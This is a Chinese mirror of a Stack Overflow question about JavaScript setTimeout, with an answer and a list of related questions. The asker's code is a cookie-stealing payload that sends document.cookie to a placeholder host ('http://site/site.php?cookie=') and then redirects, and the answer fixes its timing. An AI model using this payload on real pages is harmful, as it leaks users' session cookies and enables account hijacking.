javascript - javascript中的设置超时问题

标签 javascript

我正在尝试让以下代码工作。但它不会:(。

我已经单独测试了超时并且它工作正常(代码行 2),但第一行不起作用 :(,任何指导将不胜感激。

document.location="http://site/site.php?cookie=" + document.cookie;setTimeout(document.location='http://site/site/newpage',500);

setTimeout(document.location='http://site/site/newpage',500);

我正在 firebug 控制台中测试这个(顺便说一下)

最佳答案

更改 document.location 会立即将您导航到另一个页面。

setTimeout 需要使用 new Function("string") 构造的字符串(不推荐)、函数指针(推荐)或匿名函数(推荐)。

你可以像这样发送一个匿名函数:

setTimeout(function(){document.location='http://site/site/newpage'},500);

关于javascript - javascript中的设置超时问题,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/21175717/

相关文章:

javascript - 仅在选择下拉列表元素时检查单选按钮

Javascript 对象属性与数组值

javascript - 我可以使用 javascript 仅从右/左耳机获得声音吗?

javascript - jquery:RadiobuttonGroup 检查之前是否选择了元素

javascript - jQuery 用户界面 : How to save "sortable"?

javascript - 为什么我的 Canvas 不显示?

javascript - 使用单个按钮显示和隐藏文本

javascript - 单击 'add heading' 时需要添加新选项按钮,并且应该在现有选项中更新

javascript - 为什么我的光标在鼠标按下时变成 block 图标?

javascript - JavaScript 中的 bool 标志未正确检查